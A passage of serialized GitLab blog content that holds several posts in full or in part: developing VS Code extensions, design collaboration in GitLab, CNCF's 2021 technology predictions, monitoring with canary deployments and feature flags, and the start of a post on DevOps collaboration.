developer, you set up your [Azure Cloud token](https://code.visualstudio.com/api/working-with-extensions/publishing-extension#get-a-personal-access-token) and then run `vsce publish` in your extension folder. That's it, within a few minutes, most of your users[^5] are running the latest and greatest version of your extension. This process greatly reduces the pressure on developers to get everything right before releasing, enabling faster iteration.\n\nThere is also an independent marketplace called [open-vsx](https://open-vsx.org/) used mainly by VSCodium but also by [GitPod](https://docs.gitlab.com/ee/integration/gitpod.html) and others.\n\n## Developing extensions in GitLab\n\nIf you'd like to try and develop your own extension, you can fork the [`gitlab-example-extension`](https://gitlab.com/viktomas/gitlab-example-extension) project. It contains a complete setup for linting, unit and integration testing, and publishing the extension to both [Visual Studio Marketplace](https://marketplace.visualstudio.com/search?target=VSCode) and [open-vsx](https://open-vsx.org/). Thanks to GitLab being a single platform for the whole [DevOps lifecycle](/topics/devops/), you can just push your code changes to GitLab, and CI/CD takes care of everything else. As always, if you find any useful tweaks, please submit an MR because [everyone can contribute](/company/mission/#mission).\n\nYou can see what the VS Code extension API offers in the [official documentation](https://code.visualstudio.com/api). You can then have a look at [extension examples](https://code.visualstudio.com/api/extension-guides/overview) and extend them to make the VS Code editor do almost anything you want.\n\n## Our extension: GitLab Workflow\n\nIn June the [GitLab Workflow extension became officially supported by GitLab](/blog/use-gitlab-with-vscode/). Since then we've done a lot of cleanup work and bug fixes. Recently, we released our first larger feature: [Inserting GitLab project snippets](https://about.gitlab.com/releases/2020/11/22/gitlab-13-6-released/#insert-gitlab-snippets-directly-in-vs-code).\n\nThe primary purpose of the extension is to integrate GitLab features into the editor, so users don't have to leave the editor to perform basic tasks such as read an issue description or create a snippet from the code. The extension is trying to plug in the GitLab features into an existing VS Code Extension API to both minimise the need for custom code and to make the experience as VS Code-like as possible.\n\nThere are several main areas of the VS Code Extension API that we take advantage of:\n\n### Commands\n\n[Commands](https://code.visualstudio.com/api/extension-guides/command) are a versatile concept for triggering actions. The most common way to trigger commands is to use the \u003Ckbd>Cmd\u003C/kbd>+\u003Ckbd>Shift\u003C/kbd>+\u003Ckbd>P\u003C/kbd> Command Palette. But commands can also be triggered from context menus, clicks on buttons, or even programmatically by other code in the extension. The most common example of triggering commands programatically is to call the `vscode.open` command with a URL as a parameter. GitLab workflow does that every time we open the GitLab web page[^6].\n\n![Command Palette](https://about.gitlab.com/images/blogimages/vscode-extension-development-with-gitlab/commands.png){: .shadow.medium.center}\nCommand Palette in GitLab Workflow\n{: .note .text-center}\n\n### Tree View\n\nVS Code uses the [Tree View](https://code.visualstudio.com/api/extension-guides/tree-view) for displaying the left panel. The panel shows the file tree for the project, changed Git files, an outline of the open file, full-text search results, and more. We use this Tree View panel to show lists of issues and merge requests.\n\n![Tree View](https://about.gitlab.com/images/blogimages/vscode-extension-development-with-gitlab/tree-view.png){: .shadow.medium.center}\nTree View in GitLab Workflow\n{: .note .text-center}\n\n### Status bar\n\n[Status bar](https://code.visualstudio.com/api/extension-capabilities/extending-workbench#status-bar-item) is the slim panel at the bottom of the editor. Any extension can add items to it. Extensions such as Git, spell checks, linters, and formatters all add items to the status bar to provide the user with quick feedback.\n\nThe GitLab Workflow extension shows the MR, issue, and pipeline for the current branch. It, for example, allows you to see if your pipeline failed after the last push.\n\n![Status bar](https://about.gitlab.com/images/blogimages/vscode-extension-development-with-gitlab/status-bar.png){: .shadow.medium.center}\nStatus bar in GitLab Workflow\n{: .note .text-center}\n\nAltogether the VS Code API provides a great foundation for bringing GitLab features closer to the editor. The GitLab VS Code extension is an exciting project that **you too can contribute to**. The best place to start is the [GitLab project page](https://gitlab.com/gitlab-org/gitlab-vscode-extension).\n\n[^2]: [17th most popular project on GitHub](https://github.com/search?p=2&q=stars%3A%3E100&s=stars&type=Repositories) at the time of writing (2020-11-20)\n[^3]: GNU Emacs supported Lisp extensions in [1985](https://en.wikipedia.org/wiki/Emacs#GNU_Emacs)\n[^4]: I haven't been able to find a paid extension in the store.\n[^5]: The auto-update feature is on by default in VS Code, but it can be turned off in which case your users are not going to auto-update.\n[^6]: [Using `vscode.open` in the GitLab Workflow](https://gitlab.com/search?utf8=%E2%9C%93&search=vscode.open&group_id=9970&project_id=5261717&scope=&search_code=true&snippets=false&repository_ref=main&nav_source=navbar)\n\n[Cover image](https://art.ljubicapetkovic.com/cc-licensed/) by [Ljubica Petkovic](https://art.ljubicapetkovic.com), licensed under [CC BY-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/)\n{: .note}\n",[232,696,110],{"slug":20601,"featured":6,"template":678},"vscode-extension-development-with-gitlab","content:en-us:blog:vscode-extension-development-with-gitlab.yml","Vscode Extension Development With Gitlab","en-us/blog/vscode-extension-development-with-gitlab.yml","en-us/blog/vscode-extension-development-with-gitlab",{"_path":20607,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20608,"content":20614,"config":20619,"_id":20621,"_type":16,"title":20622,"_source":17,"_file":20623,"_stem":20624,"_extension":20},"/en-us/blog/why-gitlab-is-the-right-design-collaboration-tool-for-the-whole-team",{"title":20609,"description":20610,"ogTitle":20609,"ogDescription":20610,"noIndex":6,"ogImage":20611,"ogUrl":20612,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20612,"schema":20613},"Why GitLab is the right design collaboration tool for the entire team","Design collaboration in GitLab creates a single source of truth and makes product teams more efficient","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681792/Blog/Hero%20Images/train-station.jpg","https://about.gitlab.com/blog/why-gitlab-is-the-right-design-collaboration-tool-for-the-whole-team","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why GitLab is the right design collaboration tool for the entire team\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Matthew Nearents\"}],\n        \"datePublished\": \"2020-11-30\",\n      }",{"title":20609,"description":20610,"authors":20615,"heroImage":20611,"date":20597,"body":20617,"category":18484,"tags":20618},[20616],"Matthew Nearents","\n\n{::options parse_block_html=\"true\" /}\n\n\n\n\u003C!-- Intro -->\n\nAs designers, the combination of design and handoff tools in our tool belt often fail to enable the rest of the product team to collaborate efficiently. These tools can also lack integration with the [DevOps tools](/topics/devops/) the developers and product managers use for issue tracking, code reviews, and implementation reviews. Any efficiency we perceive in our handoff toolsets is probably due to habituation and individual familiarity.\n\nIn the early 1900s, the Canfranc International Railway Station was built to spur trade and travel between Spain and France. However, the railway had one major flaw: the difference in rail gauge used by the French and Spanish made it impossible for a train to pass through the station. Travelers and all of their cargo had to be unloaded and transferred to a new train in order to continue the journey. It was a painfully slow process for everyone involved. The station never became profitable and was closed shortly after opening.\n\nI love this metaphor because on one hand the passengers could travel successfully from one country to the other. But on the other hand, the trip was very inefficient and lengthy. In a similar vein, our design handoff tools are much like the railway with its different rail gauges: we can force them to function together successfully, but they fail at creating efficient workflows.\n\n### Multiple sources of truth creates confusion\n\nDesign and handoff tools have improved dramatically in recent years — both in the UI and features — but a good workflow is more than an impressive set of tools. These tools fall short by creating new sources of truth: additional places to find assets, code, and conversations, which in turn forces us to adopt even more tools to integrate them together such as chat, email, kanban boards, and wikis. Let’s look at an example:\n\n- A designer creates a wireframe in Sketch.\n- The design is posted to InVision. \n- The InVision link is posted in Slack to make the team aware of the wireframe. \n- The developers go to InVision and have conversations about the designs.\n- Meanwhile, other conversations are happening in DevOps tools.\n- Decisions in meetings are also being documented in a wiki.\n- Other random conversations are also happening via email.\n \n![A diagram showing the inefficiency of design collaboration without GitLab](https://about.gitlab.com/images/blogimages/2020-design-management-gitlab/diagram1.jpg){: .shadow}\nAn example flow using a disparate set of collaboration tools.\n{: .note.text-center}\n\nThe problem with multiple sources of truth is it’s almost impossible to piece together the history of a design. If the final deliverable fails to meet client or stakeholder expectations, it’s tough to know what caused the departure. Because conversations are happening in several different places, the evolution of that feature is muddled and results in conflicts and confusion about who was responsible for each decision. Some teams have adopted additional tools to maintain decision logs as a band-aid solution for this problem.\n\nWith all the commotion, incorporating feedback accurately and completely into a design becomes extremely tedious. The multiple sources of truth usually present incompatible information creating a complex web of confusion. Nobody enjoys the embarrassment of presenting a design to stakeholders or executives that lacks the feedback a team promised to incorporate. It makes teams look incompetent. But really they’re just victims of bad processes.\n\nSo what’s the solution to this problem? Abandon these disparate tools and move your designs to GitLab. GitLab believes [Design should be part of the DevOps lifecycle](/blog/is-devops-for-designers/), not separate from it, and handles everything post-Figma or Sketch. This creates a single source of truth with a set of handoff and collaboration tools teams are familiar with. Your toolset can be much smaller, creating efficiency and saving time, training, and money.\n\n### Design collaboration in GitLab\n\nIn GitLab, teams do the majority of their work in [issues](https://docs.gitlab.com/ee/user/project/issues/). Issues are like tickets or stories, and have multiple purposes, from getting down a rough idea before you forget, to spec’ing out fully fledged features, to reporting bugs and everything in between. With GitLab’s Figma and Sketch plugins, anyone can instantly upload designs, diagrams, or basically anything straight to a specific issue. That way, conversations about the design happen in the same issue where the whole team is discussing implementation. When a design is uploaded to an issue, the team will automatically be notified. No need to paste a link in Slack or email.\n\nAdditionally, when developers propose changes to the code, through GitLab’s [merge request](https://docs.gitlab.com/ee/user/project/merge_requests/) feature, [designers will be able to post the relevant designs directly to the merge request](https://gitlab.com/gitlab-org/gitlab/-/issues/281055), with a link back to the original issue. Using the merge request, designers can compare their designs to the implemented code since merge requests often generate [review apps](https://docs.gitlab.com/ee/ci/review_apps/) - a test environment where you can preview coded features without having to configure an environment yourself.\n\n![A diagram showing the efficiency of design collaboration with GitLab](https://about.gitlab.com/images/blogimages/2020-design-management-gitlab/diagram2.jpg){: .shadow}\nAn example workflow using Figma (or Sketch) and GitLab.\n{: .note.text-center}\n\n### A single source of truth For the entire team\n\nTeams are much more efficient when everyone can work within the same tool at the same time throughout the entire process to produce a single source of truth. So, although GitLab can be a little intimidating for a designer at first, having a single source of truth means no more lost feedback or decision juggling acts. Everyone is on the same page and teams can focus less on process and more on building great products.\n\nWe’re constantly working to make GitLab easier, more appealing and more fun for teams to use. The best way to move GitLab in the right direction is to use it and give feedback. GitLab is eager to hear from its customers. So although the individual pieces of GitLab might not look as attractive as InVision or Zeplin, when they come together teams can work efficiently, decisions can be more easily tracked, and our customers enjoy better products because of it.\n\nSo what are you waiting for? [Sign in](https://gitlab.com/users/sign_in) to your GitLab account or [create a new one](https://gitlab.com/users/sign_up). Also, download our [Figma](https://www.figma.com/community/plugin/860845891704482356/GitLab) or [Sketch](https://gitlab.com/gitlab-org/gitlab-sketch-plugin) plugins to start uploading your designs to GitLab. \n\nRelevant links\n- [Figma Plugin Installation Video](https://youtu.be/KR2nuehGtrU)\n- [GitLab Figma Plugin Epic](https://gitlab.com/groups/gitlab-org/-/epics/3449)\n- [Design Management Documentation](https://docs.gitlab.com/ee/user/project/issues/design_management.html)\n- [Category Direction Page](/direction/plan/design_management/)\n\n\u003C!-- image: https://unsplash.com/photos/dmH3NWhYTHQ -->\n\nCover image by [Michał Parzuchowski](https://unsplash.com/@mparzuchowski?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/train-station?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText)\n{: .note}\n",[2368,2248,2249],{"slug":20620,"featured":6,"template":678},"why-gitlab-is-the-right-design-collaboration-tool-for-the-whole-team","content:en-us:blog:why-gitlab-is-the-right-design-collaboration-tool-for-the-whole-team.yml","Why Gitlab Is The Right Design Collaboration Tool For The Whole Team","en-us/blog/why-gitlab-is-the-right-design-collaboration-tool-for-the-whole-team.yml","en-us/blog/why-gitlab-is-the-right-design-collaboration-tool-for-the-whole-team",{"_path":20626,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20627,"content":20633,"config":20638,"_id":20640,"_type":16,"title":20641,"_source":17,"_file":20642,"_stem":20643,"_extension":20},"/en-us/blog/cncf-five-technologies-to-watch-in-2021",{"title":20628,"description":20629,"ogTitle":20628,"ogDescription":20629,"noIndex":6,"ogImage":20630,"ogUrl":20631,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20631,"schema":20632},"CNCF's 5 technologies to watch in 2021","We predict how CNCF's five tech trends to watch will impact cloud native and the tech industry over the next year and beyond.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680997/Blog/Hero%20Images/clouds-cover.jpg","https://about.gitlab.com/blog/cncf-five-technologies-to-watch-in-2021","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"CNCF's 5 technologies to watch in 2021\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Brendan O'Leary\"}],\n        \"datePublished\": \"2020-11-24\",\n      }",{"title":20628,"description":20629,"authors":20634,"heroImage":20630,"date":20635,"body":20636,"category":8943,"tags":20637},[11790],"2020-11-24","\n\nLast week the Cloud Native Computing Foundation (CNCF) held [KubeCon + CloudNativeCon North America](https://events.linuxfoundation.org/kubecon-cloudnativecon-north-america/). Even with conferences shifting from in-person to virtual, KubeCon still draws huge crowds and the entire industry's attention. Besides being one of the largest tech conferences of the year, KubeCon continues to show the cutting edge of technology at the forefront of the industry.\n\nToward the conclusion of the conference, [Liz Rice](https://www.cncf.io/spotlights/cncf-community-leader-spotlight-liz-rice/) - chairperson of the CNCF's Technical Oversight Committee (TOC) and VP of Open Source Engineering at Aqua Security - got on the virtual stage to share where the CNCF is going in the coming year and to talk about predictions for the industry as a whole. These predictions covered a vast landscape of new and emerging technologies and ideas. Some of the ideas are entirely within the bounds of the cloud native community, like service mesh, while others, like WebAssembly and eBPF, have even broader impact inside and outside of cloud native technology.\n\nIn the six years since the initial release of Kubernetes, the cloud native landscape has seen a proliferation of technologies and projects related to Kubernetes and cloud native in general. Rice even talks about this in [her closing remarks](https://kccncna20.sched.com/event/eoIl/keynote-predictions-from-the-technical-oversight-committee-toc-liz-rice-cncf-toc-chair-vice-president-open-source-engineering-aqua-security), discussing the much loved and much talked about CNCF landscape. After adding many more graduated projects this year, one of the first predictions is that the coming year will see some current sandboxed projects at the CNCF fail. As Rice explains, this is a natural consequence of the CNCF pushing for innovation because not every innovative project will find a use case in the \"real world\" that justifies the effort of bringing it to market alongside juggernauts like Kubernetes, Envoy, and etcd.\n\n## CNCF's 2021 predictions\n\nOne of the most exciting segments was Rice's five predictions for the technology industry at large - inside and outside of cloud native technologies. These five technologies to watch (or six depending on how you count them) span several emerging technology platforms and speak to the great diversity of needs and projects in the open source community. The TOC's five technology trends to watch include:\n\n1. Chaos engineering\n2. Kubernetes for the edge\n3. Service mesh\n4. Web assembly and eBPF\n5. The developer and operator experience\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\">\u003Cp lang=\"en\" dir=\"ltr\">Wdyt? What did we miss? \u003Ca href=\"https://t.co/ErA8jZ6lsS\">https://t.co/ErA8jZ6lsS\u003C/a>\u003C/p>&mdash; Liz Rice at KubeCon + CloudNativeCon 🇪🇺 (@lizrice) \u003Ca href=\"https://twitter.com/lizrice/status/1329867030284144640?ref_src=twsrc%5Etfw\">November 20, 2020\u003C/a>\u003C/blockquote> \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n## Chaos engineering\n\nThe systems and applications we build are getting more and more complex and the human ability to accurately reason about how each component will interact and react becomes harder or impossible. [Chaos engineering](https://en.wikipedia.org/wiki/Chaos_engineering), first proposed and famously [practiced by Netflix's engineering team](https://netflixtechblog.com/tagged/chaos-engineering), takes that change to heart and accepts that complex enough systems are genuinely unpredictable. Once you've understood this aspect of complex systems, the best way to test and reason about their reliability is to perform experiments that best represent real-life, unpredictable events.\n\nWhile the concept of \"turn off a component and see how the system as a whole reacts\" makes sense on the surface, implementing such a methodology, especially in a large enterprise organization, can be daunting. Many projects and more than a few companies have been created to deal with this problem. It will be interesting to see if chaos engineering can move from the \"elite\" technology performers into a more mainstream engineering organization of every size and maturity level.\n\nAt GitLab, we have many customers already experimenting with or practicing chaos engineering. [Uma Mukkara](https://in.linkedin.com/in/uma-mukkara) and [Karthik Satchitanand](https://in.linkedin.com/in/karthik-satchitanand) from Maya Data presented on Chaos Engineering using GitLab templates and LitmusChaos at GitLab Commit in Brooklyn in 2019. We're also considering the many ways that chaos engineering could be more [deeply integrated](https://gitlab.com/groups/gitlab-org/-/epics/381) into GitLab as part of a single [DevOps](/topics/devops/) platform. Watch the video from Uma nad Karthik's GitLab Commit Brooklyn presentation below.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/ezhSg-t-PPM\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n## Kubernetes for the edge\n\nEdge computing refers to an area of cloud computing where the infrastructure for computing, storage, and other requirements need to be placed in the field closer to users or their use cases. While cloud computing helps to centralize and create large data centers that benefit from scale, many if not most interactions with users occur far away from the data center and instead move to the edge.\n\nAs Kubernetes matures and transforms compute in the data center, more use cases for the core tenants of Kubernetes will emerge. And as those use cases expand in scope, we will continue to see new distributions or plugins to the Kubernetes ecosystem to support new use cases. Projects like [KubeEdge](https://kubeedge.io/en/), [K3s](https://k3s.io/), and others, bring the Kubernetes API and extensibility to more devices, even those on the edge.\n\nWith the onslaught of data, devices, and demand for performance, edge computing has become an essential component of many organizations' overall network topology. Bringing the flexibility and power of Kubernetes compute and processing options to this problem will continue to expand in the coming year. For example, there may even be a Kubernetes cluster running [in your car](https://www.youtube.com/watch?v=zmuOxFp3CAk&feature=emb_title) today.\n\n## Service mesh\n\nRice predicts service mesh will be a hot topic in 2021, and with good reason. There has been an explosion of service mesh projects, discussions, and drama throughout the cloud native community in the past year. There has been an enormous proliferation of service mesh projects and teams discussing how a service mesh can benefit their deployments in 2020.\n\nSimilar to chaos engineering, service mesh attempts to organize the growing complexity of systems into a clear and reasonable package. As teams move to a [microservices approach](/topics/microservices/) for application delivery, understanding the interaction and links between existing and new services becomes critical. Service mesh projects like [Istio](https://istio.io/), [Linkerd](https://linkerd.io/), and [Consul](https://www.consul.io/) have cropped up in the past few years. These tools help discover both known and new services and their connections. The goal of the projects is to create signal from noise, allowing humans to understand how those services interact and depend on one another.\n\nIn 2020, there was a lot of drama and discussion around the overall benefits and drawbacks of service mesh and the specific projects used to implement it. Now that there is a greater understanding among CNCF stakeholders about service mesh, we can expect the cloud native community to settle into a clear set of recommendations about when it is appropriate to implement a service mesh and how to make the right decisions about service mesh for your organization.\n\nThe most significant trend here will be with the ability of service mesh to not only discover services but secure them through policy enforcement. Additionally, the desire for observability will drive service meshes to become a critical cornerstone of observability in microservices environments.\n\n## Web assembly and eBPF\n\nIn this prediction, Rice rightly points out that the technologies of web assembly and eBPF are not - on the surface - related. [Web assembly](https://webassembly.org/), also called Wasm, is a new type of virtual machine brought to the browser. [eBPF](https://ebpf.io/) is a programmable interface for interacting with the Linux kernel. So why did the TOC and Rice decide to include these two different technologies in one prediction?\n\nWell, they share a common goal of sandboxing code when it runs. Sandboxing code, which means segmenting it from the parts of memory and the computer it doesn't need to get its job done, is a critical step toward allowing for secure code execution even of unknown sources. In the case of web assembly, that code is running in your browser. For eBPF, it could be running on a shared cloud-based Linux host. In both cases, these tools enable providers and security teams to effectively protect their code and data from prying eyes. This will remain a key objective for engineering teams for years to come, because we need to segment code better from a security perspective.\n\n### Securing code by segmenting processes\n\nMany of the most massive zero-day attacks we've seen in the past few years demonstrate that some traditional pieces of the stack that we \"take for granted\" should instead be prioritized. Today, the barriers of the application memory or even CPU space are still ripe for attack. So inventing new and more secure ways of segmenting processes from one another will be a trend to watch for in 2021 and beyond.\n\nAt GitLab we see security and protection as belonging to the same DevOps lifecycle as the rest of engineering. The [Secure](/stages-devops-lifecycle/secure/) and [Protect](/stages-devops-lifecycle/govern/) stages of the DevOps lifecycle will continue to impact the rest of the cycle and how engineering departments develop and release code faster and more securely. We will see continued consolidation throughout the industry to bring security and protection initiatives to the forefront of every developer's mind, enabling developers and security professionals alike to deploy with confidence.\n\n## The developer and operator experience\n\nSimilar to prioritizing function over UX, our own experience in developing, deploying, and maintaining our projects often takes a back seat to \"getting the job done.\" However, in much the same way, the developer experience and operator experience in their day-to-day tasks will be a key focus as technologies like Kubernetes enter a more mature phase.\n\nWe've already seen colossal consolidation and focus on the DevOps platform as a whole. It was just a year or two ago that we grudgingly accepted a disjointed set of poorly integrated tools, seeing it as unavoidable. Today, we see many DevOps companies and teams selling [enterprise tools](/enterprise/) that are focusing on improving the dev and ops experience by building more capability into our devices and bringing together a more [complete DevOps platform](/solutions/devops-platform/).\n\nThis is a mission that is obviously near and dear to our hearts at GitLab. Next year will bring a renewed focus on the dev and ops experience as more companies settle into the new normal of collaborating with teammates remotely, asynchronously, and automatically. This focus makes the DevOps platform we choose all the more critical to our engineering team's success, and as software defines the world we live in even more by the day, our organizations' overall success.\n\nDevelopers and operators will come to expect an integrated DevOps platform that allows for the dual goals of getting software build and shipped on day 0 and maintaining and operating that software on days 1, 2, and beyond.\n\n## What's next?\n\nA trend that is harder to quantify is the concept of [observablity](/blog/software-developer-changing-role/) and growing trends toward more open communities. The concept of service mesh, Kubernetes at the edge, and the operator experience all play into observability, but I suspect we'll see more discussion of it in the coming year. Also the acceleration of [5G technology](/blog/how-tomorrows-tech-affects-sw-dev/) will impact all computing at the edge - Kubernetes or not. Beyond 2021, trends in [AI in software development](/blog/ai-in-software-development/) may accelerate changes to how we all interact. What trends do you think the CNCF missed in outlining things to watch in 2021? If you have a strong opinion, I'd love to hear about it on [Twitter](https://twitter.com/twitter).\n",[3949,2509,674],{"slug":20639,"featured":6,"template":678},"cncf-five-technologies-to-watch-in-2021","content:en-us:blog:cncf-five-technologies-to-watch-in-2021.yml","Cncf Five Technologies To Watch In 2021","en-us/blog/cncf-five-technologies-to-watch-in-2021.yml","en-us/blog/cncf-five-technologies-to-watch-in-2021",{"_path":20645,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20646,"content":20652,"config":20657,"_id":20659,"_type":16,"title":20660,"_source":17,"_file":20661,"_stem":20662,"_extension":20},"/en-us/blog/cd-unified-monitor-deploy",{"title":20647,"description":20648,"ogTitle":20647,"ogDescription":20648,"noIndex":6,"ogImage":20649,"ogUrl":20650,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20650,"schema":20651},"GitLab's unifiied and integrated monitoring strategies","Learn about GitLab’s unified and integrated monitoring capabilities and advanced deployment strategies.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681771/Blog/Hero%20Images/CD-1st-mkt-diff-cover-1275x849.jpg","https://about.gitlab.com/blog/cd-unified-monitor-deploy","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab's unifiied and integrated monitoring strategies\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cesar Saavedra\"}],\n        \"datePublished\": \"2020-11-23\",\n      }",{"title":20647,"description":20648,"authors":20653,"heroImage":20649,"date":20654,"body":20655,"category":18484,"tags":20656},[937],"2020-11-23","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nA well integrated and consistent approach to monitoring what is running in production and how it is running can provide not only useful information about the infrastructure and applications but also a feedback loop about how your end users are utilizing your business applications. The ability to visualize what goes into production, what to deploy to production, and who to deploy it to can provide organizations the data to help them select and prioritize capabilities that matter to their customers. In addition, the ability to monitor performance and tracing of deployments allows them to preempt production problems, quickly troubleshoot issues and rollback a release, if needed.\n\nGitLab provides the ability to monitor the performance of a deployment and easily rollback if needed. It also empowers you to choose what to deploy and who to deploy to in production via Feature Flags as well as advanced deployment strategies, like Canary deployments, in a consistent, repeatable, and uniform manner to help make your releases safe, low risk, and worry-free.\n\n\nLet’s first delve into how GitLab provides the capabilities to quickly release, identify production problems and quickly roll back.\n\nFor a release manager, the Environment Dashboard provides a cross-project environment-based view with the big picture of what is going on in each environment:\n\n![environment dashboard](https://about.gitlab.com/images/blogimages/cd-unified-monitor-deploy/Env-dashboard.png){: .shadow.medium.center.wrap-text}\n\nThe Environment Dashboard also gives easy access to the CD pipeline. In the picture above, clicking on the “blocked” link takes you to the CD pipeline view:\n\n![CD pipeline](https://about.gitlab.com/images/blogimages/cd-unified-monitor-deploy/CD-pipeline.png){: .shadow.medium.center.wrap-text}\n\nFrom the CD pipeline, a release manager can perform a canary deployment and also roll out to production incrementally, for example. The performance job above runs web browser performance tests and determines any degradation or improvement in the measurements and reports them as shown below:\n\n![webperf errors](https://about.gitlab.com/images/blogimages/cd-unified-monitor-deploy/Review-webperf-errors.png){: .shadow.medium.center.wrap-text}\n\nA release manager can take this information into consideration to determine whether or not these errors warrant a rollback of the release from production.\n\n![rollback button](https://about.gitlab.com/images/blogimages/cd-unified-monitor-deploy/Rollback-click.png){: .shadow.medium.center.wrap-text}\n\nFrom the production environment window, depicted above, clicking on the rollback environment button, will reset the production to its previous working state.\n\nIT teams often run into issues when building and releasing software and without direct user feedback, they often build out too many features, many of which go unused. Without the ability to test in production, IT organizations spend more time on testing, prolonging release cycles, but quality is only marginally improved. Modern IT teams can overcome these issues by using experimentation systems capabilities, such as feature flags and canary deployments.\n\n![feature flags screen](https://about.gitlab.com/images/blogimages/cd-unified-monitor-deploy/ff-screen.png){: .shadow.medium.center.wrap-text}\n\nGitLab supports Feature Flags as shown above. In the example, the defined feature flag named “prods-in-alpha-order-ff” has three strategies:\n\n- For the production environment: provide the feature to 50% of users based on the availability of their IDs\n\n- For the staging environment: provide the feature to the users listed in the user list “prods-in-alpha-order-user-list”\n\n- For the review environment: provide the feature to only one user.\n\nFeature Flags can also be combined with canary deployments. For example, in the picture below, the release manager has chosen to release the canary to half of the nodes in production:\n\n![50 percent rollout](https://about.gitlab.com/images/blogimages/cd-unified-monitor-deploy/CD-pipeline-50-percent.png){: .shadow.medium.center.wrap-text}\n\nAnd this combined deployment can be visualized via the deploy board as follows:\n\n![deploy board](https://about.gitlab.com/images/blogimages/cd-unified-monitor-deploy/deploy-board.png){: .shadow.medium.center.wrap-text}\n\nAbove, production has four nodes, two of which are running the new canary deployment, and the other two are still running the current production deployment.\n \nThe combination of canary deployments and feature flags can help gather direct users’ feedback to determine what features are relevant to them, so that an IT organization can focus on these, to shorten release cycle times and deliver higher quality and differentiating value to their users.\n\nLastly, integrated monitoring plays an important role in the feedback loop for these advanced deployment strategies and experimentation systems. With GitLab’s unified and integrated monitoring, you can track system and application metrics cluster-wide as well as per pod.\n\n![clusterwide monitoring](https://about.gitlab.com/images/blogimages/cd-unified-monitor-deploy/clusterwide-monitoring.png){: .shadow.medium.center.wrap-text}\n\nIn the picture above, you can see the dashboards that monitor clusterwide metrics. And the picture below shows the dashboards that monitor pod-specific metrics:\n\n![podspecific monitoring](https://about.gitlab.com/images/blogimages/cd-unified-monitor-deploy/podspecific-monitoring.png){: .shadow.medium.center.wrap-text}\n\nGitLab provides the ability to monitor the performance of a deployment and easily rollback if needed. It also empowers you to choose what to deploy and who to deploy to in production via Feature Flags as well as advanced deployment strategies, like Canary deployments, in a consistent, repeatable, and uniform manner to help make your releases safe, low risk, and worry-free.\n\nIf you’d like to see some of GitLab’s unified and integrated monitoring capabilities and advanced deployment strategies in action, watch this [video](https://youtu.be/ihdxpO5rgSc).\n\nFor more information, visit [LEARN@GITLAB](https://about.gitlab.com/learn/).\n\n\n",[110,4103,4144],{"slug":20658,"featured":6,"template":678},"cd-unified-monitor-deploy","content:en-us:blog:cd-unified-monitor-deploy.yml","Cd Unified Monitor Deploy","en-us/blog/cd-unified-monitor-deploy.yml","en-us/blog/cd-unified-monitor-deploy",{"_path":20664,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20665,"content":20671,"config":20676,"_id":20678,"_type":16,"title":20679,"_source":17,"_file":20680,"_stem":20681,"_extension":20},"/en-us/blog/collaboration-communication-best-practices",{"title":20666,"description":20667,"ogTitle":20666,"ogDescription":20667,"noIndex":6,"ogImage":20668,"ogUrl":20669,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20669,"schema":20670},"Improving DevOps with Better Communication & Collaboration","The most important skills for a DevOps pro? Collaboration and communication. We share some of our best blogs, articles, and videos to help you work better, together.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681779/Blog/Hero%20Images/chatbubble.jpg","https://about.gitlab.com/blog/collaboration-communication-best-practices","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Improving DevOps and software development with communication and collaboration\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2020-11-23\",\n      }",{"title":20672,"description":20667,"authors":20673,"heroImage":20668,"date":20654,"body":20674,"category":8943,"tags":20675},"Improving DevOps and software development with communication and collaboration",[17272],"\n\nWe believe that the best software developers, companies, and products are those that embrace collaboration and transparency in communication, which is why we’ve compiled some of our best blog posts, articles, and videos about the topic in this blog collection.\n\nBut first, has your engineering team adopted a [DevOps](/topics/devops/) strategy? [Start here if you need help communicating why DevOps is the best approach](/blog/devops-stakeholder-buyin/) to stakeholders outside the engineering team.\n\n## What is DevOps collaboration?\n\nCollaboration is as important to DevOps as automation and nearly as hard to achieve. Software development was traditionally split into very different functions that didn’t work together; the advent of DevOps, bringing dev and ops together, was designed to change all of that. \n\n## Why collaboration in software development matters\n\nWe unpack three key reasons why collaboration is an essential skill for software developers.\n\n### 1. Your future as a software developer is bright if you embrace collaboration\n\nWhile some might consider teamwork and communication to be soft skills, the results of our [2020 DevSecOps](/developer-survey/) survey reveal a consensus among developers, security pros, ops team members, and testers that collaboration and communication are the most important skills for a DevOps professional.\n\n\"You can’t have one brain that knows it all,\" explains [Darwin Sanoy](/company/team/#DarwinJS), senior solutions architect, Americas, at GitLab. \"You need communication and collaboration to work together.\" Read more to learn about how to [brush up on soft skills to future-proof your 